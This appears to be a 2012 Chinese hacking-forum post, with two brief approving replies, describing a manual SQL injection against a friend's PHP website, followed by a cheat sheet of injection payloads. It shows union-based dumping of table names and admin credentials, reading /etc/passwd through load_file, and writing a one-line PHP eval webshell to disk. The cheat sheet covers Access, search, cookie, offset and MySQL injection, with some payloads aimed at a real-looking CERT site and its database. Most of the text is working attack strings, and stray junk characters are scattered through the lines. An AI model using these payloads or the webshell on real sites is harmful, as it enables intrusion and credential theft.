找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2902|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
8 m+ W/ R' d0 g8 t9 ~让我看看,既然人家开口了,我也不好拒绝,那就看看吧?/ J% \) q/ K1 I- v! g
我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。- M, P0 x5 ?) P
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。)
3 p  U* P, ?3 W; ?/ P0 {' Q. w1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)( J: g$ W2 m! H# s8 |9 t  k% L% ]
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:6 l) F5 ]7 M' ?% C
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in6 r# q$ c/ S# ~2 D1 M- r0 o
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入
. U. @5 Q3 N7 w                         7 {, R* v+ S1 M7 H
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,
- t9 Z/ V" t# Q' \3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意
* ?* T4 n9 a3 N: Q" [4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
6 k: S7 A7 D" a5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。' n4 n4 R9 z7 V5 T& W
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,. k, M! ~5 Z9 |- @) V! d$ r0 g; u
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。
+ C& X1 b$ ]9 q/ s) \我就用的是第二个思路,
! a! g7 C' z8 g6 f0 [* A0 |& B提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  
  L5 E2 T, N, L! V" F6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,) g# T) D, P7 u7 ~: L9 {. V& W
提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--
3 f" V* Y- X9 j注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。
& l& |  m' \+ H% v  e* ?1 N: e7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????
3 |& X. ~. n+ }. h. _是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....2 R2 a# d# r- o) F3 U
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --5 Q' a$ v5 v& a6 B! {& J: V/ [4 _
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
4 s8 y) m( m. y, g4 Z4 Y, M调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......
+ G" i. m# P; Z4 O下面是一些很普遍注入方式资料:
  i; S% Y( A% ]5 H6 f4 {2 m注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='. F1 q& G4 l5 M) ~* [
拆半法
$ Z0 T7 P3 c; G  Y2 _& P& F! a; u; b# b######################################0 U' f9 E/ Q; z% E
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。8 f1 q, r& v8 N5 L
and exists (select * from admin)
8 {  J+ x) v! g0 @0 m: O+ jand exists(select id from admin)2 `1 F4 k! N5 _, n5 J) b8 v
and exists(select id from admin where id=1)) c# d- s- I0 {: m+ D9 |( k0 O
and exists(select id from admin where id>1)
1 G9 e! g9 v2 {, d( H然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围 " P9 _4 T7 G7 u. u0 F6 J7 j
and exists (select username from admin)3 t0 v8 |; {" {
and exists (select password from admin)9 M$ p' F9 ~$ B4 M+ _7 @0 u& K
and exists (select id from admin where len(username)<10 and id=1)% y. ~% l$ j' a* X0 g- Y
and exists (select id from admin where len(username)>5 and id=1)
# e6 U( o4 p  i2 |% _2 M  v( aand exists (select id from admin where len(username)=6 and id=1)# T" @7 n. x/ j* n. w3 t
and exists (select id from admin where len(password)<10 and id=1)& ~8 V1 ?* o* y9 Y. Q0 p% R
and exists (select id from admin where len(password)>5 and id=1), [. ]' ~: P/ |
and exists (select id from admin where len(password)=7 and id=1)2 y2 v) ?( d) h  g) |5 |7 E  l
and (select top 1 asc(mid(username,1,1)) from admin)=97' @" k3 V2 R& w2 e" {5 N: J
返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
: ~2 M2 E" m3 |5 |) d: L* r& I猜第二位把username,1,1改成username,2,1就可以了。
# w4 K$ D! H7 z+ l$ m猜密码把username改成password就OK了
. ]* I7 y, D8 A! [$ U1 D##################################################
8 R9 C- V- a) ?# ?搜索型注入1 k3 w. v. c: @& z4 K' C9 C
##################################% @& z& A; ]- _
%' and 1=1 and '%'='. h. {* }: i+ \- Z: A; e" m" Y4 V
%' and exists (select * from admin) and '%'='
) z; M* B( T$ N+ H; h%' and exists(select id from admin where id=1) and '%'='& S  d! e9 @! }4 q' ^  d! M0 B5 W
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='
( b3 D+ P( p4 {5 u, Q7 k& `%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
7 F! i. F& F5 M1 t: Y) U9 K%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
! R. k! }$ e0 L8 |# L! J这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'='# T4 k8 T$ f6 e, ?1 U. |
对于MSSQL数据库,后面可以吧 and '%'='换成--
9 O( \3 e' A5 A* U) t还有一点搜索型注入也可以使用union语句。1 B9 l# F: I2 M  k, X
########################################################' f8 J1 I2 b2 j3 h- y0 r' S! g
联合查询。- h  ^" e2 O3 C
#####################################! x1 M4 o, }2 |% R4 S0 `
order by 104 F2 D$ j5 q* W& E. J" i' H5 Y- A
and 1=2 union select 1,2,3,4,5,6,7,8,9,10
( r8 r4 Q( f) h! @; nand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
  M) T. [3 ]0 E% g( qand 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
; m  J* B% _* U6 J很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)7 p' g  h0 C, ^6 P* m! V
###################################
, F1 N3 \. T; j3 i, acookie注入
) Z' e+ Y4 E# I9 L8 G, e" ]###############################: l4 t/ c% j( `' F9 {0 t. V
http://www.******.com/shownews.asp?id=127
/ }; ?# V+ B3 v( |$ m) l' `http://www.******.com/shownews.asp/ r$ H3 s0 T0 l6 b6 H
alert(="id="+escape("127"));
( v3 U. `  [% u6 Ualert(="id="+escape("127 and 1=1"));
9 U% Y6 C5 N. k4 @5 r, K8 Valert(="id="+escape("127 order by 10"));
9 b! \% J" r4 Q) [# zalert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));
3 r+ L0 y# c3 G- N/ O: dalert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));# Y/ t; @, u- \, K
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。: A' f4 f' D" m( A8 b, A$ i5 K
###################################( L$ l, f' F! v  R
偏移注入
& Q- c* s+ ]  r1 ]3 f) j###########################################################
! n1 n4 b9 T% o" E$ |union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
- J% v/ y3 A# o: uunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin6 ~) B6 R6 N5 m9 U6 K
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)2 b+ N2 j% g% l4 e
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
, ^" v; x# D- P% U' c; Nunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
. N, o2 Q5 E' e* l- eunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id), b* O, Y' A1 ]+ `: E+ }
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on" O0 K7 E9 R2 E: @$ ]2 t: i% p
a.id=d.id)7 c3 I8 k+ h" \; u
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)
- f4 Z% O0 `3 t+ ?and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 1 k* Q- F" N4 z9 Q% |
  " Z4 x: m& r: y. Q' V& t) `" s
============================================================================================================
0 ?# {8 T) ~! e1 |! a9 M9 f1.判断版本% G. D+ i# w6 P0 n
and ord(mid(version(),1,1))>51
7 {& `8 D0 g1 T0 G返回正常,说明大于4.0版本,支持ounion查询
& g( O) _) {0 c3 f% U# G2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解- f! J3 L9 H* [. i$ v
and 2=4 union select 1,2,3,4,5,6,7,8,9--; \9 @9 b& Z. d5 m$ M/ y9 B8 j
3.查看数据库版本及当前用户,
7 E) x6 ]  ^/ Aand 2=4 union select 1,user(),version(),4,5,6,7,8,9--: q: H  W9 v, T$ i) s8 e" O
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
" \& `4 A4 g( R& A5 b; J, h4.判断有没有写权限
( o" ~+ U4 M) uand (select count(*) from MySQL.user)>0-- - w& o5 y; ?2 b9 \& M- w3 p
5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
. e7 ~) |- q# r1 i用不了这个命令,就学习土耳其黑客手法,如下" W: `7 m' p5 }% ?2 ]2 f
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--  O% I8 x1 _$ F# l2 |5 t, R
6.爆表,爆库
4 B7 T# F8 S# K- {and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--7 O# n0 C4 _& u' p
7.爆列名,爆表8 G  o/ l8 k5 f3 d9 ^9 t8 \
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
3 C$ s) z- |8 A- _7 E* V8 K1 z: ?8.查询字段数,直接用limit N,1去查询,直接N到报错为止。/ \9 q& K3 g9 k2 Z6 {! q
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
! S* K9 M( i; }" z5 B2 |& v9.爆字段内容
- N+ @( D* j  d+ p6 F& wand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--/ N$ P4 m5 e. k- v' }
http://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表